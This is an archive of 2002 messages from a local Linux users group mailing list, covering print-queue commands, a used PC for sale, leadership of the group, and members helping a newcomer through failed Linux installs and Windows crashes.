MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 24 Sep 2002 01:18:13 -0000 On Mon, 23 Sep 2002, Steve Langasek wrote: > On Mon, Sep 23, 2002 at 09:17:09AM -0500, Roadkill the Avatar of Misfortune wrote: > > I'm not 100% sure about other print spoolers, but for the lpr printer you can > > use "lpc clean all" to remove all print jobs from all printers, or a > > combination of lpq (views print jobs in the queue) and lpc to clean out your > > wayward print jobs. > > There's also the 'lprm' command to remove individual jobs by their queue > id. Or handy when root: lprm - will kill `em all. lpq and "cancel " works well too. Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From ray@qlilinux.com Wed Sep 25 17:52:54 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 21095 invoked by uid 1051); 25 Sep 2002 17:52:54 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 25 Sep 2002 17:52:54 -0000 From: Ray Sanders To: "lug@cialug.org" , Cedar Valley Linux Users Group , "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 25 Sep 2002 12:55:16 -0500 Message-Id: <1032976518.1386.24.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] YACBFS - (Yet another Cheap Box for Sale) X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 25 Sep 2002 17:52:54 -0000 As usual if anyone is looking for a cheap second or third linux box, here is the specs. Mini Tower Asus PIII/Celeron Motherboard Geforce 4 MX440 Celeron 700MHZ 512MB PC133 CD-ROM SB16 PCI 3Com 10/100 6GB IDE HDD $279.00 Cards are new, and are about $180.00 of the price. :-) First come, first serve, and please contact me off list if interested. Thanks! -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From ray@qlilinux.com Thu Sep 26 15:01:10 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 24103 invoked by uid 1051); 26 Sep 2002 15:01:10 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 26 Sep 2002 15:01:10 -0000 From: Ray Sanders To: "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 26 Sep 2002 10:03:30 -0500 Message-Id: <1033052611.2952.2.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] Anyone interested in taking over QCLUG? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 26 Sep 2002 15:01:10 -0000 Due to my time constraints, and new endeavors in my personal life, I may not be able to devote as much time to the LUG as I would like. If anyone is interested, please drop me a line off list. Thanks! -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From volunteer@revealed.net Fri Sep 27 15:05:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27348 invoked by uid 1051); 27 Sep 2002 15:05:52 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 27 Sep 2002 15:05:52 -0000 Received: from revealed.net ([65.114.247.113]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Fri, 27 Sep 2002 10:05:27 -0500 Sender: volunteer Message-ID: <3D94743F.740E37A3@revealed.net> Date: Fri, 27 Sep 2002 10:07:43 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Anyone interested in taking over QCLUG? References: <1033052611.2952.2.camel@tempe.qlitech.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 27 Sep 2002 15:05:52 -0000 Ray, Did you talk to Revealed about hosting yet? Jim Ray Sanders wrote: > > Due to my time constraints, and new endeavors in my personal life, I may > not be able to devote as much time to the LUG as I would like. > > If anyone is interested, please drop me a line off list. > > Thanks! > > -- > ===================================================== > > Ray Sanders - QliTech Linux Computers > http://www.qlilinux.com - ray@qlilinux.com > 1-877-24-LINUX (Toll Free - U.S.A and Canada) > > ===================================================== > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From ray@qlilinux.com Fri Sep 27 16:10:46 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27613 invoked by uid 1051); 27 Sep 2002 16:10:46 -0000 Received: from unknown (HELO ?192.168.1.41?) (12.217.140.249) by 0 with SMTP; 27 Sep 2002 16:10:46 -0000 From: Ray Sanders To: Cedar Valley Linux Users Group , "lug@cialug.org" , "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 27 Sep 2002 11:10:54 -0500 Message-Id: <1033143055.5099.3.camel@artoo.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] [Fwd: [Cedarlug] YACBFS - (Yet another Cheap Box for Sale)] X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 27 Sep 2002 16:10:47 -0000 This machine is still up for grabs. The first two people backed out at the 11th hour. I know two or three other people had expressed interest in this, so msg me off list -----Forwarded Message----- From: Ray Sanders To: lug@cialug.org , Cedar Valley Linux Users Group , qclug@qclug.org Subject: [Cedarlug] YACBFS - (Yet another Cheap Box for Sale) Date: 25 Sep 2002 12:55:16 -0500 As usual if anyone is looking for a cheap second or third linux box, here is the specs. Mini Tower Asus PIII/Celeron Motherboard Geforce 4 MX440 Celeron 700MHZ 512MB PC133 CD-ROM SB16 PCI 3Com 10/100 6GB IDE HDD $279.00 Cards are new, and are about $180.00 of the price. :-) First come, first serve, and please contact me off list if interested. Thanks! -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== _______________________________________________ Cedarlug mailing list Cedarlug@cedarlug.org http://lists.cfu.net/mailman/listinfo/cedarlug -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From jjjm.1@email.com Fri Sep 27 18:15:31 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 28185 invoked by uid 1051); 27 Sep 2002 18:15:31 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 27 Sep 2002 18:15:31 -0000 Received: (qmail 21573 invoked by uid 1001); 27 Sep 2002 18:14:15 -0000 Message-ID: <20020927181415.21572.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.21.150] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Fri, 27 Sep 2002 12:14:15 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Fri, 27 Sep 2002 12:14:15 -0600 X-Originating-Ip: 12.84.21.150 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Installing woes X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 27 Sep 2002 18:15:31 -0000 Hello all you linux gurus! Do any of you continue to use Partition Magic? I'm having a hard time weaning myself off of it, even tho it may have been the cause of losing partition tables a time or two. I wish I could get confident enough to just use a linux fdisk and be done with it, but it's so *easy* to move and change sizes with PM! I am finally willing to try my best to totally dump windows for linux and wine, but now my computer is being rebellious. I did have an install of Corel Linux, but with all the invalid page faults and BSOD's I tried reinstalling '98 and it of course trashed LILO. I did the restore I found on Corel Linux's site, but it did not work, so I tried reinstalling it (Corel Linux) altogether. That locked the computer up. So I thought, well, maybe it's time to try the Red Hat I got some time ago--it's RH 6.2. Well, it would not finish either, and left PM with a error 120--it could not see the partition table at all. Strangely, after trying the Corel install again, PM can again see the drive. Do any of you have a recommendation for me? Should I try a more recent version of RH? I'd thought it would be the better distro, but reviews I found on the web made me think otherwise. Of course I am a newbie, having only taken the time to dabble now and again. My first install was Slackware and I had no problem at all, even with X. Maybe I should go back to that??? I want something that Wine will run best on, because I have too many windows programs I want to run. Maybe they won't run with wine either, but I'm willing to find out. The computer has an Asus A7V-133 board, Athlon 900 chip, Millenium Matrox G200, 256K cache 512M RAM, if all that makes any difference. I'll have to find a sound card that will work under Linux, as the one I have is the PCI128. Let me know if this comes thru HTML'ish--I'm using the web mail thingy and not sure how to make it send as text. Please forgive me if it is HTML -- I don't mean it to be. Also, sorry for being long-winded, but details are important, aren't they? ;-) JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup From klown@revealed.net Fri Sep 27 19:05:30 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 28637 invoked by uid 1051); 27 Sep 2002 19:05:30 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 27 Sep 2002 19:05:30 -0000 Received: from revealed.net ([205.243.76.215]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Fri, 27 Sep 2002 14:05:14 -0500 From: "Mark Riedesel" Sender: klown@revealed.net To: qclug@qclug.org Date: Fri, 27 Sep 2002 19:05:14 GMT Subject: Re: [QCLUG] Installing woes X-Mailer: DMailWeb Web to Mail Gateway 2.6z, http://netwinsite.com/top_mail.htm Message-id: <3d94abea.4bc7.0@revealed.net> X-User-Info: 63.173.114.62 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 27 Sep 2002 19:05:30 -0000 Hiya, I myself have never used partition magic, but I find linux's fdisk much much easier to use than the MS-DOS version. If you don't like fdisk, perhaps try cfdisk, I know it's available on most systems (Slackware for sure, I used it two days ago) :) As for the choice of distros, RH6.2 is pretty old now, if you simply _must_ use redhat, you might want to get some more recent CD's. I think the most recent version is 7.3. I'm not a big fan of Redhat or Corel, I've been using Gentoo, Debian, and just recently installed Slackware on my mini-server due to a power outage causing a massive harddrive screwup (horray ext2) and so far I really like Slackware. Try something new, you just might like it :) Good luck, Mark >Hello all you linux gurus! > >Do any of you continue to use Partition Magic? I'm having a hard time weaning myself off of it, even tho it may have been the cause of losing partition tables a time or two. I wish I could get confident enough to just use a linux fdisk and be done with it, but it's so *easy* to move and change sizes with PM! > >I am finally willing to try my best to totally dump windows for linux and wine, but now my computer is being rebellious. I did have an install of Corel Linux, but with all the invalid page faults and BSOD's I tried reinstalling '98 and it of course trashed LILO. I did the restore I found on Corel Linux's site, but it did not work, so I tried reinstalling it (Corel Linux) altogether. That locked the computer up. So I thought, well, maybe it's time to try the Red Hat I got some time ago--it's RH 6.2. We > >Do any of you have a recommendation for me? Should I try a more recent version of RH? I'd thought it would be the better distro, but reviews I found on the web made me think otherwise. Of course I am a newbie, having only taken the time to dabble now and again. My first install was Slackware and I had no problem at all, even with X. Maybe I should go back to that??? I want something that Wine will run best on, because I have too many windows programs I want to run. Maybe they won't run with wine eit > >The computer has an Asus A7V-133 board, Athlon 900 chip, Millenium Matrox G200, 256K cache 512M RAM, if all that makes any difference. I'll have to find a sound card that will work under Linux, as the one I have is the PCI128. > >Let me know if this comes thru HTML'ish--I'm using the web mail thingy and not sure how to make it send as text. Please forgive me if it is HTML -- I don't mean it to be. Also, sorry for being long-winded, but details are important, aren't they? ;-) > >JJ >-- >__________________________________________________________ >Sign-up for your own FREE Personalized E-mail at Mail.com >http://www.mail.com/?sr=signup > >_______________________________________________ >QCLUG mailing list >QCLUG@qclug.org >http://qclug.org/mailman/listinfo/qclug > From volunteer@revealed.net Sat Sep 28 04:27:16 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 29978 invoked by uid 1051); 28 Sep 2002 04:27:16 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 28 Sep 2002 04:27:16 -0000 Received: from revealed.net ([63.102.218.211]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Fri, 27 Sep 2002 23:26:58 -0500 Sender: volunteer Message-ID: <3D95301B.EC7BBC3E@revealed.net> Date: Fri, 27 Sep 2002 23:29:15 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Installing woes References: <20020927181415.21572.qmail@email.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 28 Sep 2002 04:27:16 -0000 I've just been involved in installing RH 7.3 for four (4) people. No problems with the installs (flaky CD's don't count). I prefer a text install (non GUI). Fdisk is preferable but DiskDruid works. It works better with a text install. I've heard good things about Partition Magic and not so good about Corel Linux. There are several people on the list who are raving about Gentoo. Other than that, all you can do besides referrals is try until you find one you like. Jim Juanita Moore wrote: > > Hello all you linux gurus! > > Do any of you continue to use Partition Magic? I'm having a hard time weaning myself off of it, even tho it may have been the cause of losing partition tables a time or two. I wish I could get confident enough to just use a linux fdisk and be done with it, but it's so *easy* to move and change sizes with PM! > > I am finally willing to try my best to totally dump windows for linux and wine, but now my computer is being rebellious. I did have an install of Corel Linux, but with all the invalid page faults and BSOD's I tried reinstalling '98 and it of course trashed LILO. I did the restore I found on Corel Linux's site, but it did not work, so I tried reinstalling it (Corel Linux) altogether. That locked the computer up. So I thought, well, maybe it's time to try the Red Hat I got some time ago--it's RH 6.2. Well, it would not finish either, and left PM with a error 120--it could not see the partition table at all. Strangely, after trying the Corel install again, PM can again see the drive. > > Do any of you have a recommendation for me? Should I try a more recent version of RH? I'd thought it would be the better distro, but reviews I found on the web made me think otherwise. Of course I am a newbie, having only taken the time to dabble now and again. My first install was Slackware and I had no problem at all, even with X. Maybe I should go back to that??? I want something that Wine will run best on, because I have too many windows programs I want to run. Maybe they won't run with wine either, but I'm willing to find out. > > The computer has an Asus A7V-133 board, Athlon 900 chip, Millenium Matrox G200, 256K cache 512M RAM, if all that makes any difference. I'll have to find a sound card that will work under Linux, as the one I have is the PCI128. > > Let me know if this comes thru HTML'ish--I'm using the web mail thingy and not sure how to make it send as text. Please forgive me if it is HTML -- I don't mean it to be. Also, sorry for being long-winded, but details are important, aren't they? ;-) > > JJ > -- > __________________________________________________________ > Sign-up for your own FREE Personalized E-mail at Mail.com > http://www.mail.com/?sr=signup > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From jjjm.1@email.com Mon Sep 30 03:38:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2502 invoked by uid 1051); 30 Sep 2002 03:38:03 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 30 Sep 2002 03:38:03 -0000 Received: (qmail 17536 invoked by uid 1001); 30 Sep 2002 03:37:31 -0000 Message-ID: <20020930033734.17535.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.15.38] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Sun, 29 Sep 2002 21:37:31 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Sun, 29 Sep 2002 21:37:31 -0600 X-Originating-Ip: 12.84.15.38 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Re: Installing Woes X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 30 Sep 2002 03:38:03 -0000 Thanks Mark and Jim, for replying. I really did not expect one. Is why I mostly lurk. I did use cfdisk, think I must have gotten to it via Corel's Rescue Console. Don't know if I could create a partition, but I could delete 'em! ;-) I also do like to see the text install, but Corel does not seem to give a choice, as RH does. Tried again today, still no go--guess I plum ran out of beginner's luck. I'd thought if I got one going, I could later just upgrade. I mainly need to get my feet wet--baby steps first, ya know? Gentoo might be more power than I know what to do with. What I liked about the RH is that there is a whole disk with documentation on it, but basically I've been avoiding it, makes me wonder why I went ahead and got a copy--just had to see, I guess. It was zipping along, installing a bunch of packages, I guess you call 'em, but ended up knocking itself right out to a red screen with black type. Kernel panic. Cannot mount root device one time, unable to mount root on 08:34 the next. Especially liked the "Aiee, Killing interrupt handler. Unable to handle kernel paging request at virtual address 61747320." Does this mean it *screamed*???! ;-) At least there's some reason, unlike the graphical install of Corel, which never bothers to give a reason. Think I'll borrow a friend's high speed access to grab an iso--can't decide of what, yet, tho . . . Thanks again, JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup From volunteer@revealed.net Mon Sep 30 06:43:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2924 invoked by uid 1051); 30 Sep 2002 06:43:52 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 30 Sep 2002 06:43:52 -0000 Received: from revealed.net ([65.114.247.31]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Mon, 30 Sep 2002 01:43:29 -0500 Sender: volunteer Message-ID: <3D97F31D.DE8DA8D5@revealed.net> Date: Mon, 30 Sep 2002 01:45:49 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Re: Installing Woes References: <20020930033734.17535.qmail@email.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 30 Sep 2002 06:43:52 -0000 Have you checked hardware compatibility? Linux in general may have more power than you think you need. It's just part of the package. :) Jim Juanita Moore wrote: > > Thanks Mark and Jim, for replying. I really did not expect one. Is why I mostly lurk. I did use cfdisk, think I must have gotten to it via Corel's Rescue Console. Don't know if I could create a partition, but I could delete 'em! ;-) > > I also do like to see the text install, but Corel does not seem to give a choice, as RH does. Tried again today, still no go--guess I plum ran out of beginner's luck. I'd thought if I got one going, I could later just upgrade. I mainly need to get my feet wet--baby steps first, ya know? Gentoo might be more power than I know what to do with. What I liked about the RH is that there is a whole disk with documentation on it, but basically I've been avoiding it, makes me wonder why I went ahead and got a copy--just had to see, I guess. It was zipping along, installing a bunch of packages, I guess you call 'em, but ended up knocking itself right out to a red screen with black type. Kernel panic. Cannot mount root device one time, unable to mount root on 08:34 the next. Especially liked the "Aiee, Killing interrupt handler. Unable to handle kernel paging request at virtual address 61747320." Does this mean it *screamed*???! ;-) > > At least there's some reason, unlike the graphical install of Corel, which never bothers to give a reason. > > Think I'll borrow a friend's high speed access to grab an iso--can't decide of what, yet, tho . . . > > Thanks again, > > JJ > -- > __________________________________________________________ > Sign-up for your own FREE Personalized E-mail at Mail.com > http://www.mail.com/?sr=signup > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From baldy@mchsi.com Mon Sep 30 13:06:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3453 invoked by uid 1051); 30 Sep 2002 13:06:02 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 30 Sep 2002 13:06:02 -0000 Received: from linux ([12.217.93.116]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020930130552.ZGAP7903.sccmmhc02.mchsi.com@linux> for ; Mon, 30 Sep 2002 13:05:52 +0000 Content-Type: text/plain; charset="iso-8859-15" From: Baldy To: qclug@qclug.org Subject: Re: [QCLUG] Re: Installing Woes Date: Mon, 30 Sep 2002 08:03:38 -0500 X-Mailer: KMail [version 1.4] References: <20020930033734.17535.qmail@email.com> In-Reply-To: <20020930033734.17535.qmail@email.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209300803.38601.baldy@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 30 Sep 2002 13:06:03 -0000 On Sunday September 29 2002 22:37, Juanita Moore wrote: > Thanks Mark and Jim, for replying. I really did not expect one. Is wh= y I > mostly lurk. I did use cfdisk, think I must have gotten to it via Core= l's > Rescue Console. Don't know if I could create a partition, but I could > delete 'em! ;-) > > I also do like to see the text install, but Corel does not seem to give= a > choice, as RH does. Tried again today, still no go--guess I plum ran o= ut > of beginner's luck. I'd thought if I got one going, I could later just > upgrade. I mainly need to get my feet wet--baby steps first, ya know?=20 > Gentoo might be more power than I know what to do with. What I liked a= bout > the RH is that there is a whole disk with documentation on it, but > basically I've been avoiding it, makes me wonder why I went ahead and g= ot a > copy--just had to see, I guess. It was zipping along, installing a bun= ch > of packages, I guess you call 'em, but ended up knocking itself right o= ut > to a red screen with black type. Kernel panic. Cannot mount root devi= ce > one time, unable to mount root on 08:34 the next. Especially liked the > "Aiee, Killing interrupt handler. Unable to handle kernel paging reque= st > at virtual address 61747320." Does this mean it *screamed*???! ;-) > > At least there's some reason, unlike the graphical install of Corel, wh= ich > never bothers to give a reason. > > Think I'll borrow a friend's high speed access to grab an iso--can't de= cide > of what, yet, tho . . . > > Thanks again, > > JJ I have mandrake over here and debian both on cd's if you want copies let = me=20 know=20 --=20 Linux,chaos,and Mountain Dew a connection? From jjjm.1@email.com Tue Oct 01 03:23:23 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5797 invoked by uid 1051); 1 Oct 2002 03:23:23 -0000 Received: from unknown (HELO ws3-1.us4.outblaze.com) (205.158.62.91) by 0 with SMTP; 1 Oct 2002 03:23:23 -0000 Received: (qmail 31031 invoked by uid 1001); 1 Oct 2002 03:23:34 -0000 Message-ID: <20021001032334.31030.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.15.49] by ws3-1.us4.outblaze.com with http for jjjm.1@email.com; Mon, 30 Sep 2002 21:23:34 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Mon, 30 Sep 2002 21:23:34 -0600 X-Originating-Ip: 12.84.15.49 X-Originating-Server: ws3-1.us4.outblaze.com Subject: [QCLUG] Power? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 03:23:23 -0000 Jim, Heh, nah, didn't check hardware, since I already HAD a linux running on my stuff. Two, if you count Winlinux ;-) Not sure I'm really looking for "power", just an OS that is reliable. Sooooo tired of crashing windows. Memory (resources, actually) being sucked down to nothing, and BSOD's. At least re-re-re-installing windows has helped, some--it was not GPF'ing so much, until today when I'm not getting it back in anything but "safe" mode! JJ P.S. (Where are the kiddies??) -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup From klown@revealed.net Tue Oct 01 03:50:04 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 5898 invoked by uid 1051); 1 Oct 2002 03:50:04 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 1 Oct 2002 03:50:04 -0000 Received: from athlon ([208.23.178.157]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Mon, 30 Sep 2002 22:49:48 -0500 Message-ID: <000f01c2690f$5ac65b10$0201a8c0@athlon> From: "Mark Riedesel" To: References: <20021001032334.31030.qmail@email.com> Subject: Re: [QCLUG] Power? Date: Mon, 30 Sep 2002 22:56:57 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 03:50:04 -0000 The kernel panic during installation you had mentioned, I've seen such things happen to me once, I got a freshly burned CD and it seemed to clear it right up. Where are the kiddies? wha? I'm one of the younger ones but I don't quite consider myself a kiddie.. well, a few others in the group might. :) You don't need to be "looking" for "power", Linux just sorta hands it out. Mark ----- Original Message ----- From: "Juanita Moore" To: Sent: Monday, September 30, 2002 8:23 PM Subject: [QCLUG] Power? > Jim, > > Heh, nah, didn't check hardware, since I already HAD a linux running on my stuff. Two, if you count Winlinux ;-) > > Not sure I'm really looking for "power", just an OS that is reliable. Sooooo tired of crashing windows. Memory (resources, actually) being sucked down to nothing, and BSOD's. At least re-re-re-installing windows has helped, some--it was not GPF'ing so much, until today when I'm not getting it back in anything but "safe" mode! > > JJ > > P.S. (Where are the kiddies??) From volunteer@revealed.net Tue Oct 01 04:31:32 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 6010 invoked by uid 1051); 1 Oct 2002 04:31:32 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 1 Oct 2002 04:31:32 -0000 Received: from revealed.net ([63.102.218.185]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Mon, 30 Sep 2002 23:31:14 -0500 Sender: volunteer Message-ID: <3D99259E.A1534330@revealed.net> Date: Mon, 30 Sep 2002 23:33:34 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Subject: Re: [QCLUG] Power? References: <20021001032334.31030.qmail@email.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 01 Oct 2002 04:31:33 -0000 Not all versions of all distros support all hardware. Even Win shouldn't crash as often as you are saying. Start by deleting all partitions and, beginning from there, install Win. Don't attach or install any extra peripherals (printer, scanner, etc.). Did you get a CD with your Motherboard? Install all the needed drivers. If you start having problems before you install any programs, you may have a hardware conflict. Check "Device Manager" for yellow question marks and red X's. Check your Motherboard's web site for updates. Check all your plug in card web sites for updates as well. For all it's faults, Win 98 should work at this stage. Try this and let us know what happens. The kiddies question went right over my head. Sorry. Jim Juanita Moore wrote: > > Jim, > > Heh, nah, didn't check hardware, since I already HAD a linux running on my stuff. Two, if you count Winlinux ;-) > > Not sure I'm really looking for "power", just an OS that is reliable. Sooooo tired of crashing windows. Memory (resources, actually) being sucked down to nothing, and BSOD's. At least re-re-re-installing windows has helped, some--it was not GPF'ing so much, until today when I'm not getting it back in anything but "safe" mode! > > JJ > > P.S. (Where are the kiddies??) > -- > __________________________________________________________ > Sign-up for your own FREE Personalized E-mail at Mail.com > http://www.mail.com/?sr=signup > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From jjjm.1@email.com Tue Oct 01 12:51:56 2002 